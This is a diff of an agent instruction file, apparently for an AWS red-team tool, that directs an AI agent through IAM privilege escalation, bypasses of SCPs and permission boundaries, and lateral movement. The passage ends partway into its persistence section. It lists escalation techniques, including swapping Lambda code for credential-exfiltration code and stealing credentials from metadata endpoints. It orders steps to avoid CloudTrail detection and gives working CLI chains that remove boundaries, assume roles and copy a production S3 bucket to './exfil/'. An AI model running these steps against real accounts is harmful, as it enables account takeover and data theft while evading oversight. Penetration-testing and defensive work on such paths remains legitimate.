EXPLOIT_INDEX_DATA=$(cat "$EXPLOIT_INDEX") +else + EXPLOIT_INDEX_DATA='{"runs": []}' +fi +echo "$EXPLOIT_INDEX_DATA" | jq --argjson new_entry "$RUN_ENTRY" \ + '.runs |= (map(select(.run_id != $new_entry.run_id)) + [$new_entry])' > "$EXPLOIT_INDEX" +``` + - -## Escalation Analysis + +## Error Handling -After compiling the effective permissions list, perform a two-phase analysis: +**Credential failure at Gate 1:** +Display the AWS CLI error message verbatim and remediation options. Stop immediately. Do not create run directory. -**Phase 1 — Catalogue Matching:** Match against family representatives below, then reason across the full permission set for additional paths. This catches all well-documented escalation families and surfaces novel combinations. +**Probe failures (standalone mode):** +AccessDenied is signal, not noise. Log the probe result to `agent-log.jsonl` with `result: "denied"` and the error message in `error_message`. Reason about what the error reveals in `inferred_signal`. Continue probing. -**Phase 2 — Novel Path Reasoning:** Apply your own reasoning to the principal's full permission set to identify escalation paths NOT in the catalogue. See the "Novel Path Reasoning" section after the catalogue. +**API throttling:** +Log visibly, retry once after 2-5 seconds. If retry fails, report and continue with partial data. -Both phases contribute candidates to a unified list. The top-3 selection picks the best paths regardless of whether they came from the catalogue or from your reasoning. +**Research dispatch failure:** +Non-blocking. If scope-research returns an error or empty result, path still appears in the playbook without research context. Note in the path narrative: "no published research found for this combination — path identified from discovered permissions." -### Confidence Scoring Rules +**techniques.json missing:** +Warn and continue: `config/techniques.json not found — reasoning without seed knowledge`. Do NOT halt. Research subagent + creative reasoning compensate. -Before checking paths, set the base confidence caps based on enumeration results: +**cloudtrail-classes.json missing:** +Warn and continue: `config/cloudtrail-classes.json not found — all actions default to [MGT] per default rule`. Tag all steps [MGT]. -- **All permissions CONFIRMED via simulate + SCP known clear:** Confidence = method base (85-95% for direct IAM methods) -- **Any permission LIKELY (not simulate-confirmed):** Cap confidence at 85% -- **SCP status UNKNOWN:** Cap confidence at 80%, add caveat "SCP status unknown — org member, could not enumerate SCPs" -- **Cross-account path, target account SCPs unknown:** Cap confidence at 70% -- **Any BLOCKED permission in path:** Confidence = 0%, exclude path entirely -- **Novel path (AI-reasoned, no catalogue base):** Start at 75%, increase to 85% if confirmed by web research or documentation, cap at 70% if the technique has no published validation +**Audit mode — files missing:** +If `iam.json` not found in audit run dir: warn and proceed with whatever data is available. If no audit data found at all: display error and stop. -### Catalogue Matching (Phase 1) - -The examples below represent distinct attack families — one representative per family. -Use them as: -1. A format model: each path must have required permissions, step_count, base_confidence, and what-it-does. -2. A floor, not a ceiling: reason about the principal's full EFFECTIVE_PERMISSIONS for paths in the same family and for paths not represented here. Novel reasoning contributes on equal footing. -3. A depth calibrator: if you find a path, describe it to this level of detail. - -Do NOT limit your analysis to these specific methods. The top-3 selection uses ALL paths found. - -For each representative below: -1. Check if ALL required permissions are CONFIRMED or LIKELY for the target principal -2. If any required permission is BLOCKED → exclude path entirely (skip it) -3. If all required permissions match → add to candidate list with step_count and calculated confidence - ---- - -**Direct IAM Manipulation: PutUserPolicy** -- Required: `iam:PutUserPolicy` on self -- Step count: 1 -- Base confidence: 95% -- What it does: Creates an inline policy directly on the calling user granting `Action: "*", Resource: "*"` -- Represents: Self-escalation via any IAM write to own identity or assumable role - - Variants include: AttachUserPolicy (attach AdministratorAccess to self), AttachRolePolicy (attach admin to assumable role then assume it), CreatePolicyVersion / SetDefaultPolicyVersion (overwrite managed policy to admin), AddUserToGroup (join high-priv group), PutGroupPolicy / PutRolePolicy, UpdateAssumeRolePolicy + AssumeRole, CreateLoginProfile / UpdateLoginProfile (console access), CreateAccessKey (on other user), PutUserPolicy on target user (Method 49/50 combos) - ---- - -**Permission Boundary Bypass: DeleteRolePermissionsBoundary** -- Required: `iam:DeleteRolePermissionsBoundary` on a target role -- Step count: 2 (delete boundary + assume now-unbound role) -- Base confidence: 85% -- What it does: Removes the permission boundary from a role, unlocking permissions that were previously capped by it -- Represents: Any technique that removes or weakens a permission boundary cap - - Variants include: DeleteUserPermissionsBoundary (remove boundary from self), PutRolePermissionsBoundary (replace boundary with permissive one like AdministratorAccess), DeleteRolePolicy / DeleteUserPolicy / DetachRolePolicy / DetachUserPolicy (remove inline or managed deny statements) - ---- - -**PassRole to Compute: PassRole + Lambda Create+Invoke** -- Required: `iam:PassRole` + `lambda:CreateFunction` + `lambda:InvokeFunction` -- Step count: 3 (create function with privileged role + invoke + retrieve output) -- Base confidence: 88% -- What it does: Creates a Lambda function assigned a privileged IAM role, invokes it to exfiltrate credentials or execute actions under that role -- Represents: Passing a privileged role to any compute service for code execution - - Variants include: PassRole+EC2 RunInstances (steal creds from metadata endpoint), PassRole+ECS RunTask (steal from 169.254.170.2), PassRole+Glue CreateJob (ETL job runs as role), PassRole+SageMaker CreateNotebookInstance (notebook terminal runs as role), PassRole+Lambda+AddPermission (bypass InvokeFunction via resource-based policy), PassRole+Lambda+EventSourceMapping (trigger without direct invoke) - ---- - -**PassRole to Compute: PassRole + CloudFormation CreateStack** -- Required: `iam:PassRole` + `cloudformation:CreateStack` -- Step count: 3 (create stack template + deploy stack + retrieve outputs) -- Base confidence: 85% -- What it does: Creates a CloudFormation stack with a privileged service role, using the stack to execute IAM changes under that role -- Represents: Infrastructure-as-code compute execution with distinct service trust requirements - - Variants include: PassRole+CodeBuild CreateProject+StartBuild (buildspec runs as role; codebuild.amazonaws.com trust), PassRole+AppRunner CreateService (container runs as instance role), PassRole+Autoscaling+LaunchConfig (ASG instances run as profile role), PassRole+EC2 Spot RequestSpotInstances (spot variant of RunInstances) - ---- - -**Code Modification: UpdateFunctionCode** -- Required: `lambda:UpdateFunctionCode` -- Step count: 2 (update code + invoke function) -- Base confidence: 88% -- What it does: Replaces the code of an existing Lambda function with credential exfiltration code, then invokes it to steal the function's execution role credentials -- Represents: Modifying existing compute resources to steal their attached IAM role — no PassRole needed - - Variants include: UpdateFunctionConfiguration (env var injection into existing Lambda), UpdateFunctionConfiguration+Layers (inject malicious Lambda Layer), SageMaker CreatePresignedNotebookInstanceUrl (access existing notebook terminal running as attached role) - ---- - -**SSM/Compute Lateral: SSM SendCommand** -- Required: `ssm:SendCommand` -- Step count: 2 (send command + retrieve output) -- Base confidence: 88% -- What it does: Runs commands on an SSM-managed EC2 instance without opening an interactive session; use to fetch metadata credentials or execute arbitrary actions -- Represents: Lateral movement into existing compute resources via session/command execution - - Variants include: SSM StartSession (interactive shell; requires ssm:StartSession + ec2:DescribeInstances), ECS ExecuteCommand (shell into running container; steal task role from 169.254.170.2), SSM StartAutomationExecution+PassRole (runbook executes as privileged service role) - ---- - -**Additional PassRole Variants: PassRole + CodeBuild** -- Required: `iam:PassRole` + `codebuild:CreateProject` + `codebuild:StartBuild` -- Step count: 3 (create project with privileged role + start build with malicious buildspec + retrieve output) -- Base confidence: 85% -- What it does: Creates a CodeBuild project assigned a privileged IAM role; the buildspec.yml executes arbitrary commands under that role with full AWS CLI/SDK access -- Represents: PassRole to services with distinct trust requirements from Lambda/EC2 families - - Variants include: PassRole+Step Functions CreateStateMachine (state machine executes as role), PassRole+Bedrock AgentCore CreateCodeInterpreter (2025 method) - ---- - -**Existing Resource Modification: EC2 Launch Template Modification** -- Required: `ec2:CreateLaunchTemplateVersion` + `ec2:ModifyLaunchTemplate` -- Step count: 3 (create new template version with malicious user data + set as default + wait for ASG to launch instances) -- Base confidence: 75% -- What it does: Creates a new version of an existing launch template that already references a privileged IAM role, injecting malicious user data while keeping the existing role — no PassRole needed as role reference is inherited -- Represents: Modification of existing resources that already have privileged roles, bypassing PassRole requirement - - Variants include: ec2:ModifyInstanceAttribute (modify user data on existing instance), SSM CreateAssociation (persistent backdoor via State Manager schedule) - ---- - -**Credential Access: STS AssumeRole** -- Required: `sts:AssumeRole` (or no identity permission if trust policy explicitly names the caller) -- Step count: 1 (assume role) -- Base confidence: 92% -- What it does: Directly assumes a role whose trust policy allows the current principal. When a role's trust policy explicitly names a principal in the same account, that principal can assume it WITHOUT requiring sts:AssumeRole in their identity policy. -- Represents: Direct role assumption from permissive or misconfigured trust policies - - Variants include: AssumeRoleWithSAML, AssumeRoleWithWebIdentity (federated identity assumption), GetFederationToken (federated-user credential generation), Cognito GetCredentialsForIdentity (misconfigured identity pool exchange) - ---- - -**Service Abuse / CI-CD: CodePipeline Source Poisoning** -- Required: `codepipeline:PutJobSuccessResult` (or `s3:PutObject` on pipeline source bucket) -- Step count: 3 (inject code into source stage + wait for pipeline trigger + code executes as pipeline service role) -- Base confidence: 70% -- What it does: Injects malicious code into a CodePipeline source stage, which then executes in a CodeBuild or CodeDeploy stage with the pipeline's service role permissions -- Represents: CI/CD pipeline abuse and supply-chain injection into execution environments - - Variants include: ECR image replacement (replace container image consumed by ECS/EKS task running as privileged role), SSO CreateAccountAssignment (grant admin via IAM Identity Center; requires SSO configured), CloudWatch Logs PutSubscriptionFilter+Lambda (exfil via log forwarding), Bedrock InvokeAgent (prompt injection into agent's IAM execution role), EC2 Instance Connect SendSSHPublicKey+SSH (push key to instance with privileged profile) - ---- - -### Novel Path Reasoning - -**Novel path discovery has moved to ``.** After all four catalogue analyses (escalation, lateral movement, persistence, exfiltration) complete, the creative reasoning section discovers cross-category novel paths with full context. Novel escalation paths from that section integrate inline in the top-3 selection and playbook output below. - -Both catalogue matches and novel paths (from creative reasoning) contribute to the unified top-3 selection on equal footing. - ---- - -### Top-3 Selection Heuristic - -After checking all catalogue methods AND novel path reasoning, build the unified candidate list and select the top 3 paths: - -**Sort criteria (apply in order):** -1. **Primary sort: step_count ascending** — fewer steps = more direct = better -2. **Secondary sort: confidence descending** — higher confidence = better -3. **Tertiary sort: target_privilege_level** — ADMIN > SERVICE > LATERAL - -**Privilege level classification:** -- ADMIN: Path results in full account admin access (Methods 1, 6, 7, 9, 10, 13, 48 with admin trust, and most boundary bypass methods) -- SERVICE: Path results in service-specific high privilege (SageMaker, Lambda execution role, Glue role, CodeBuild role) -- LATERAL: Path results in access to a different principal without necessarily higher account-level privilege (CreateAccessKey on a different user, SSM lateral to instance role) - -**Catalogue vs. novel path selection:** -- Novel paths compete on equal footing with catalogued paths — the top-3 is chosen purely by the sort criteria above -- If a novel path ranks in the top 3, label it `[NOVEL]` in Gate 3 and the playbook so the operator knows it's AI-reasoned rather than from a published catalogue -- If all top-3 are catalogued, still mention any novel paths found below the top 3 as "Additional paths identified (below top 3)" - -**Edge cases:** -- If fewer than 3 paths found: report all found paths (even 1 or 2) -- If zero paths found: report "No direct escalation paths found" and list what permissions would unlock paths (top 3 by smallest permission addition) -- If two paths are tied on all criteria: prefer the path with a simpler CLI command set (fewer API calls) - -### Stealth Presentation Order - -After selecting the top 3 paths using the heuristic above, re-sort them for PRESENTATION by noise score. This does NOT change which paths were selected — only their display order. - -**Noise scoring:** -- For each selected path, compute `noise_score` = count of steps whose primary AWS API action is tagged `[MGT]` in the `` table -- Sort the 3 paths ascending by `noise_score` (quietest path = fewest MGT steps = presented first) -- Tiebreaker: fall through to existing sort criteria (step_count ascending, confidence descending, privilege_level) -- Renumber paths as PATH 1, PATH 2, PATH 3 in the new stealth-sorted order - -### Within-Path Step Reordering - -After determining path presentation order, reorder INDEPENDENT steps within each path so quiet steps execute before noisy steps. - -**Sort priority:** `[NONE]` first, `[DATA]` second, `[MGT]` last. - -**Dependency preservation rules:** -- Steps with causal dependencies (Step B consumes output produced by Step A) MUST stay in their required order -- Use AWS API semantics to determine independence: "Does Step B consume any output (ARN, ID, name) produced by Step A?" - - DEPENDENT example: `iam:CreateRole` (produces role ARN) then `iam:AttachRolePolicy` (uses that ARN) — cannot reorder - - INDEPENDENT example: `s3:GetObject` (reads data) and `iam:ListUsers` (reads IAM) — can reorder -- Conservative default: when uncertain about dependency, assume dependent and keep original order -- Self-check after reordering: "For each step, does it reference output from a step that now comes AFTER it? If yes, revert that specific reorder." -- Stable sort: steps with the same visibility class preserve their original relative order - -Display Gate 3 and wait for operator response. If operator says "adjust": update path list per their instruction (include/exclude specific paths), then re-display Gate 3. - - - -## Circumvention Analysis - -After completing escalation path selection (Gate 3 approved), analyze each security control type for target-scoped bypass opportunities. Only generate findings where the principal has a permission that intersects with the bypassed control — do NOT produce a generic checklist. - -**Scope rule:** Before including any bypass finding, verify the principal has at least one CONFIRMED or LIKELY permission relevant to that bypass method. If no intersecting permission exists, skip the finding entirely. - ---- - -### Control Type 1: SCP Gap Analysis - -Analyze SCPs only if SCP data is available (from audit data loaded in permission_intake, OR from fresh org enumeration in Step 2c): - -**If SCPs are available:** - -For each escalation path selected at Gate 3, check whether any SCP `Deny` statement covers the required actions: -- If a required action is NOT covered by any SCP `Deny` and the identity policy allows it: this is an SCP gap -- For each identified gap: explain WHICH action is absent from SCP coverage, WHY the identity policy permission flows through, and generate a proof-of-concept command - -**If SCP status is UNKNOWN (org member but couldn't enumerate):** - -Emit this caveat once at the top of the SCP section: - -``` -SCP status unknown — all path confidences are capped at 80%. The following analysis assumes no SCP blocks exist; actual SCP coverage may differ. Verify with an org admin before relying on these paths. -``` - -Then proceed with analysis under the assumption that no SCPs block the paths. - -**If account is NOT in an org:** - -Note "Not in AWS Organizations — SCPs do not apply. All paths are unconstrained by SCP." and skip SCP gap analysis. - -**Output format for each SCP gap finding:** - -```markdown -### BYPASS: SCP Gap — [Action Name] -**Control bypassed:** SCP gap — [action] not covered by any Deny SCP -**Mechanism:** [Which attached policy grants the action, why no SCP Deny statement covers it — reference specific policy name if available] -**Confidence:** [X]% — [specific caveat, e.g., "SCP enumeration succeeded; gap confirmed" or "SCP status unknown; confidence capped at 80%"] - -**Proof-of-concept command:** -```bash -aws [command that exploits the gap] -``` -``` - ---- - -### Control Type 2: Permission Boundary Bypass - -Check if the principal has a permission boundary set (from permission_intake data — `User.PermissionsBoundary` or `Role.PermissionsBoundary`): - -**If no permission boundary exists:** - -Note: "No permission boundary in effect — direct escalation paths from the escalation catalogue apply without boundary constraints." and skip boundary bypass analysis. - -**If a permission boundary exists AND it blocks any escalation catalogue path selected at Gate 3:** - -Check whether the principal has any of these boundary-manipulation permissions (CONFIRMED or LIKELY): -- `iam:DeleteUserPermissionsBoundary` (for user principals) -- `iam:DeleteRolePermissionsBoundary` (for role principals or target roles) -- `iam:PutUserPermissionsBoundary` (replace boundary with a permissive one) -- `iam:PutRolePermissionsBoundary` (replace role boundary) - -**If any boundary-manipulation permission is present:** - -Generate a bypass analysis: -- Show the `aws iam delete-*-permissions-boundary` or `aws iam put-*-permissions-boundary` command -- Explain what the current boundary blocks and what becomes accessible after removal or replacement -- Provide a permissive replacement boundary policy JSON if using `put-*-permissions-boundary` - -**If boundary exists but no manipulation permission is present:** - -Note: "Permission boundary is in effect ([boundary ARN]) and the principal lacks permissions to modify it. Paths requiring [blocked actions] are not viable unless boundary is first removed by an admin." - -**Output format for each boundary bypass finding:** - -```markdown -### BYPASS: Permission Boundary — [Remove/Replace] -**Control bypassed:** Permission boundary — [current boundary ARN] -**Mechanism:** [Which permission enables the bypass, what the boundary currently blocks, what becomes accessible after bypass] -**Confidence:** [X]% — [specific caveat] - -**Proof-of-concept command:** -```bash -aws iam delete-user-permissions-boundary --user-name TARGET_USER -# OR -aws iam put-user-permissions-boundary \ - --user-name TARGET_USER \ - --permissions-boundary arn:aws:iam::aws:policy/AdministratorAccess -``` - -**Deployable replacement boundary policy (if replacing rather than deleting):** -```json -{ - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "PermissiveBoundary", - "Effect": "Allow", - "Action": "*", - "Resource": "*" - } - ] -} -``` -**Attach command:** `aws iam put-user-permissions-boundary --user-name TARGET_USER --permissions-boundary arn:aws:iam::aws:policy/AdministratorAccess` -``` - ---- - -### Control Type 3: Condition Key Exploitation - -For each CONFIRMED or LIKELY permission in the principal's effective set, check whether any condition key restrictions are present in the policy. Focus on these high-value condition keys: - -- `aws:RequestedRegion` — restricts API calls to specific regions -- `aws:PrincipalTag` — restricts based on caller's IAM tags -- `aws:CalledVia` — restricts to calls made through specific services (e.g., only via CloudFormation) -- `aws:CalledViaFirst` / `aws:CalledViaLast` — restricts to first/last service in call chain -- `iam:PassedToService` — restricts which compute service a role can be passed to -- `s3:prefix` — restricts S3 object prefix access -- `iam:PermissionsBoundary` — requires specific boundary when creating users/roles -- `iam:ResourceTag` — restricts to resources with specific tags - -**For each condition key that is ABSENT from a policy statement (unconstrained attack surface):** - -Identify the mechanism and generate a proof-of-concept: -- Explain: "The policy allows [action] on [resource] without restricting `[condition key]` — [exploit consequence]" -- Example: "The policy allows `iam:PassRole` to `arn:aws:iam::*:role/*` without restricting `iam:PassedToService` — any compute service (Lambda, EC2, Glue, SageMaker, Bedrock AgentCore) can receive the role, not just the intended service" - -**Target-scoped rule enforcement:** Only generate condition key findings for permissions the principal actually holds (CONFIRMED or LIKELY). Skip any condition key analysis for permissions that are BLOCKED or not present. - -**Output format for each condition key finding:** - -```markdown -### BYPASS: Condition Key — [Key Name] Absent -**Control bypassed:** Condition key — `[key name]` not restricted in [policy name] -**Mechanism:** [Exact explanation of why the absent condition key enables exploitation — reference the specific policy statement, the resource ARN pattern, and what exploitation becomes possible] -**Confidence:** [X]% — [specific caveat] - -**Proof-of-concept command:** -```bash -aws [command exploiting the unconstrained condition] -``` - -**Deployable policy (demonstrating the unrestricted access):** -```json -{ - "Version": "2012-10-17", - "Statement": [...] -} -``` -**Attach command:** `aws iam put-user-policy ...` -``` - ---- - -### Circumvention Analysis Integration - -After completing all three control type analyses, integrate results into the playbook. The `## CIRCUMVENTION ANALYSIS` block in `` is populated with all bypass findings from this section. - -If no bypasses were found across all three control types (all paths are clear, no boundary, no condition key gaps): output "No target-scoped circumvention opportunities identified — all applicable controls are correctly configured for this principal's permissions. See confidence caveats on each path above for residual uncertainty." - - - -## Lateral Movement - -After circumvention analysis, map all roles reachable from the current principal using a BFS-style traversal. This section identifies every pivot point — not just direct role assumptions, but compute-mediated paths that expose execution role credentials. - ---- - -### Pivot Types - -Analyze all seven pivot types. For each, only include if the principal has the required CONFIRMED or LIKELY permission: - -**1. IAM role assumptions (direct sts:AssumeRole)** -- Required: trust policy on target role must list the principal (or `"AWS": "*"` / wildcard patterns) AND the principal must be able to call `sts:AssumeRole` -- Source: trust policy documents from permission_intake data - -**2. Lambda execution roles** -- Required: `iam:PassRole` (to pass a role to Lambda) + `lambda:CreateFunction` or `lambda:UpdateFunctionConfiguration` -- Identifies Lambda execution roles (trust policy has `lambda.amazonaws.com`) that the principal could assign to a function -- The Lambda function runs under that role — pivot by creating/modifying function to exfiltrate role credentials - -**3. EC2 instance profiles** -- Required: `iam:PassRole` (to launch EC2 with instance profile) + `ec2:RunInstances` OR `ssm:StartSession`/`ssm:SendCommand` to reach existing instances -- Identifies instance profile roles reachable via SSM session — shell in, then steal credentials from `http://169.254.169.254/latest/meta-data/iam/security-credentials/` - -**4. ECS task roles** -- Required: `ecs:ExecuteCommand` to shell into running ECS tasks -- Identifies ECS task roles reachable via ExecuteCommand — credentials available at `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI` - -**5. SSM sessions** -- Required: `ssm:StartSession` + `ec2:DescribeInstances` -- EC2 instances accessible via SSM expose their instance profile credentials through the metadata endpoint - -**6. CodeBuild execution roles** -- Required: `codebuild:StartBuild` + `codebuild:BatchGetProjects` (to identify projects with privileged service roles) -- Identifies CodeBuild projects whose service role (trust policy has `codebuild.amazonaws.com`) grants higher privileges than the current principal -- The build environment runs under that role — pivot by starting a build with modified buildspec that exfiltrates role credentials via environment variables - -**7. Step Functions execution roles** -- Required: `states:StartExecution` + `states:ListStateMachines` (to identify state machines with privileged roles) -- Identifies Step Functions state machines whose execution role grants higher privileges -- Start execution of a state machine that includes a Task state calling STS GetCallerIdentity or writing credentials to an S3 bucket under the execution role - ---- - -### Cross-Account Inclusion Rule - -Include cross-account role assumptions ONLY if audit data (loaded in permission_intake) already discovered cross-account trust relationships for this account. - -- Do NOT probe for new cross-account paths — do not attempt sts:AssumeRole on external account roles -- If cross-account paths exist from audit data: include them, cap confidence at 70% (target account SCP status unknown) -- If no cross-account audit data: skip cross-account paths entirely and note "No cross-account trust relationships found in audit data — cross-account lateral movement not analyzed" - ---- - -### Traversal Algorithm - -Use the following BFS-style algorithm to build the full reachability tree: - -``` -Start: current_principal (input ARN from /scope:exploit) -Queue: [current_principal] -Visited: {} ← set of ARNs already processed (cycle detection) -Parent: {} ← map of ARN → {from: ARN, mechanism: string} (chain reconstruction) - -For each principal in Queue: - 1. Find all roles this principal can reach via any of the 7 pivot types: - - IAM roles: check trust policies from permission_intake data for sts:AssumeRole allow where Principal matches current_principal ARN or a wildcard that matches it - - Lambda execution roles: only include if principal has iam:PassRole + lambda:CreateFunction (CONFIRMED or LIKELY) - - EC2 instance profiles: only include if principal has iam:PassRole + ec2:RunInstances OR ssm:StartSession/ssm:SendCommand - - ECS task roles: only include if principal has ecs:ExecuteCommand (CONFIRMED or LIKELY) - - SSM sessions: only include if principal has ssm:StartSession + ec2:DescribeInstances - - CodeBuild execution roles: only include if principal has codebuild:StartBuild + codebuild:BatchGetProjects (CONFIRMED or LIKELY) - - Step Functions execution roles: only include if principal has states:StartExecution + states:ListStateMachines (CONFIRMED or LIKELY) - - 2. For each reachable role: - a. If role ARN already in Visited → emit CIRCULAR CHAIN note (see Circular Chain Handling), do NOT add to Queue - b. Assess role value: - - ADMIN: has Action: * or AdministratorAccess attached - - SERVICE:[name]: has high-value service permission (secretsmanager:GetSecretValue, kms:Decrypt, etc.) - - LATERAL: has different account access or different service permissions than origin - c. Record hop: [from_principal] → [role_ARN] via [mechanism: AssumeRole / SSM / Lambda / ECS / EC2-InstanceProfile] - c2. Store parent pointer: Parent[role_ARN] = {from: current_principal, mechanism: mechanism} - d. If role has high value: add to High-Value Targets list with reason - e. Add role_ARN to Queue for further traversal (to find roles reachable FROM this role) - - 3. Add current_principal to Visited - -Terminate: when Queue is empty (all reachable roles processed) OR traversal limit reached (see error_handling) - -Result: full reachability tree with every hop and mechanism - -Chain reconstruction: For each high-value target, walk Parent pointers backward to build the full chain from initial principal to target. -``` - ---- - -### Per-Node Permission Discovery - -The initial target's EFFECTIVE_PERMISSIONS map does NOT apply to newly discovered roles. Each role dequeued by BFS must have its own effective permissions established before its outbound edges are expanded. This is required because the 7 pivot-type checks in step 1 of the traversal ("principal has iam:PassRole + lambda:CreateFunction", etc.) must operate on THAT node's permissions — not assumptions carried from the initial target. - -**When BFS dequeues a node that is NOT the initial principal:** - -1. **Check audit data first:** If audit data was loaded in `` and it contains policy documents for this role ARN, extract the role's permissions from that data. Use those as the node's effective permissions — no re-probing needed. - -2. **Abbreviated policy self-read (if no audit data):** Attempt: - ```bash - aws iam list-attached-role-policies --role-name "$ROLE_NAME" - # For each attached policy: - aws iam get-policy-version --policy-arn "$ARN" --version-id "$DEFAULT_VERSION" - aws iam list-role-policies --role-name "$ROLE_NAME" - # For each inline policy: - aws iam get-role-policy --role-name "$ROLE_NAME" --policy-name "$PNAME" - ``` - If the first call returns AccessDenied: mark all 7 pivot-type checks for this node as UNKNOWN and note in the reachability map: "[role ARN] — policy self-read denied; outbound permissions UNKNOWN, pivot-type expansion skipped." - -3. **Apply to pivot-type checks:** Use the discovered permissions (or UNKNOWN status) when evaluating which of the 7 pivot types are available FROM this node. Do not assume the initial target's CONFIRMED/LIKELY permissions transfer to the dequeued role. - -4. **Cap:** The abbreviated read counts toward the probe hard cap (tracked in the initial discovery phase). If the cap is already reached, mark the node's permissions as UNKNOWN and note the cap. - ---- - -### Circular Chain Handling - -When a role ARN is encountered during traversal that is already in the `Visited` set: - -1. Emit: "Circular trust detected: [Role A ARN] ↔ [Role B ARN] — these roles can mutually assume each other. Traversal stopped at second occurrence to prevent loops." -2. Do NOT add to Queue — stop traversal at this node -3. Report in a dedicated `## Circular Trust Relationships` subsection in the output - -Note in the circular chain report: "Mutual assumption doesn't necessarily grant higher privileges unless one role has permissions the other lacks. Check permissions on both roles." - ---- - -### Shared Intermediate Hop Presentation - -When multiple lateral movement chains share an intermediate role (different paths both route through the same role ARN before diverging): - -Call it out explicitly in a `## Shared Intermediate Hops` subsection rather than duplicating the traversal in both chains. Format: - -"Paths [X] and [Y] both route through [Role ARN] — compromising this role is the critical pivot for both chains. Prioritize reaching this role first." - -This helps operators identify the highest-leverage pivot role in complex environments. - ---- - -### Lateral Movement Output Format - -```markdown -## LATERAL MOVEMENT CHAINS - -**Starting principal:** [input ARN] -**Roles reachable:** [N total] -**Highest privilege reachable:** [ADMIN / SERVICE:secretsmanager / LATERAL / NONE] - -### Full Reachability Map - -[current_principal] - → [Role A ARN] via IAM AssumeRole — [role value: ADMIN / SERVICE:secretsmanager:GetSecretValue / LATERAL] - → [Role B ARN] via IAM AssumeRole — [role value] - → [Role C ARN] via Lambda execution role (iam:PassRole + lambda:CreateFunction) — [role value] - → [Role D ARN] via SSM StartSession → EC2 instance profile — [role value] - -### High-Value Targets -1. [Role ARN] — [reason: "has AdministratorAccess", "has secretsmanager:GetSecretValue on prod-*", etc.] -2. [Role ARN] — [reason] - -### Step-by-Step: Reaching [Highest-Value Target] - -[Hop-by-hop CLI commands to traverse the shortest path to the highest-value role. Include the exact aws sts assume-role command for each hop, how to use the temporary credentials in the next hop, and how to extract credentials from the terminal pivot (SSM/ECS/Lambda).] - -### Circular Trust Relationships -[If any circular chains detected — list each with the two role ARNs and the mutual-trust note. If none: "None detected."] - -### Shared Intermediate Hops -[If multiple chains share a role — identify the convergence point and explain why it is the priority pivot. If none: "No shared intermediate hops — all paths are independent."] -``` - -### Full Attack Chain Trace - -For each reachable high-value target, reconstruct the complete chain from the initial principal through every hop to the ultimate target. Maintain parent pointers during BFS — for each visited role, record which principal reached it and by what mechanism. After BFS completes, walk the parent pointers backward from each high-value target to reconstruct the full chain. - -Format each chain as: - -``` -[CHAIN N] Initial: [starting principal] - Step 1 (escalation): [permission] — [what it does] - Step 2 (lateral): sts:AssumeRole → [role ARN] - Step 3 (lateral): [mechanism] → [role ARN] - Ultimate target: [action on resource] -``` - -Each chain includes sequential CLI commands with credential variable passing between hops: - -```bash -# Step 1: Escalate -aws iam put-user-policy --user-name $USER ... - -# Step 2: Pivot to intermediate role -CREDS=$(aws sts assume-role --role-arn arn:aws:iam::$ACCT:role/IntermediateRole --role-session-name chain --query 'Credentials' --output json) -export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId) -export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey) -export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken) - -# Step 3: Pivot to final target -CREDS2=$(aws sts assume-role --role-arn arn:aws:iam::$ACCT:role/FinalRole --role-session-name chain2 --query 'Credentials' --output json) -export AWS_ACCESS_KEY_ID=$(echo $CREDS2 | jq -r .AccessKeyId) -export AWS_SECRET_ACCESS_KEY=$(echo $CREDS2 | jq -r .SecretAccessKey) -export AWS_SESSION_TOKEN=$(echo $CREDS2 | jq -r .SessionToken) - -# Ultimate target -aws s3 cp s3://prod-data-lake/ ./exfil/ --recursive -``` - -### Cross-Account Trust Traversal - -When cross-account role assumptions are discovered (from audit data per the Cross-Account Inclusion Rule), generate multi-hop CLI examples with explicit credential variable passing between accounts: - -```bash -# Hop 1: Assume cross-account role in target account -CREDS_ACCT2=$(aws sts assume-role \ - --role-arn arn:aws:iam::TARGET_ACCT:role/CrossAccountRole \ - --role-session-name lateral-hop1 \ - --query 'Credentials' --output json) -export AWS_ACCESS_KEY_ID=$(echo $CREDS_ACCT2 | jq -r .AccessKeyId) -export AWS_SECRET_ACCESS_KEY=$(echo $CREDS_ACCT2 | jq -r .SecretAccessKey) -export AWS_SESSION_TOKEN=$(echo $CREDS_ACCT2 | jq -r .SessionToken) - -# Verify identity in target account -aws sts get-caller-identity - -# Hop 2: From target account, assume another role (if trust chain continues) -CREDS_ACCT3=$(aws sts assume-role \ - --role-arn arn:aws:iam::THIRD_ACCT:role/ChainedRole \ - --role-session-name lateral-hop2 \ - --query 'Credentials' --output json) -export AWS_ACCESS_KEY_ID=$(echo $CREDS_ACCT3 | jq -r .AccessKeyId) -export AWS_SECRET_ACCESS_KEY=$(echo $CREDS_ACCT3 | jq -r .SecretAccessKey) -export AWS_SESSION_TOKEN=$(echo $CREDS_ACCT3 | jq -r .SessionToken) -``` - -Note: Cross-account confidence capped at 70% per the Cross-Account Inclusion Rule (target account SCP status unknown). Each hop in the chain inherits this cap. - -If no chains are found (no high-value targets reachable), output: "No full attack chains identified — no high-value targets reachable from the initial principal." - -**If no roles are reachable from the principal via any pivot type:** - -Output: -```markdown -## LATERAL MOVEMENT CHAINS - -**Starting principal:** [input ARN] -**Roles reachable:** 0 -**Highest privilege reachable:** NONE - -No lateral movement paths identified. The principal cannot reach any roles via the 7 analyzed pivot types (IAM AssumeRole, Lambda, EC2, ECS, SSM, CodeBuild, Step Functions). -``` - ---- - -### Stealth Chain Ordering - -When presenting multiple lateral movement chains, sort chains relative to each other by aggregate noise: - -- Compute aggregate noise for each chain = count of `[MGT]`-tagged hops across the chain (look up each hop's primary action in the `` table) -- Sort chains ascending by aggregate noise (quietest chain = fewest MGT hops = presented first) -- Tiebreaker: prefer chains reaching higher-value targets (ADMIN > SERVICE > LATERAL) -- NEVER reorder hops WITHIN a chain — hops are inherently dependent (you cannot do hop 2 before hop 1) - ---- - -### Integration - -After completing lateral movement traversal, populate the `## LATERAL MOVEMENT CHAINS` block in `` with the full output from this section. - - - -## Persistence Analysis - -After lateral movement analysis, evaluate which persistence techniques the escalated principal can deploy. For each technique, check whether the principal (post-escalation) has the required permissions — CONFIRMED or LIKELY only. - ---- - -### Technique Catalogue - -The techniques below are representative examples — one per persistence pattern. -Reason about the escalated principal's full permission set for additional persistence mechanisms not listed here. Any technique where the principal has 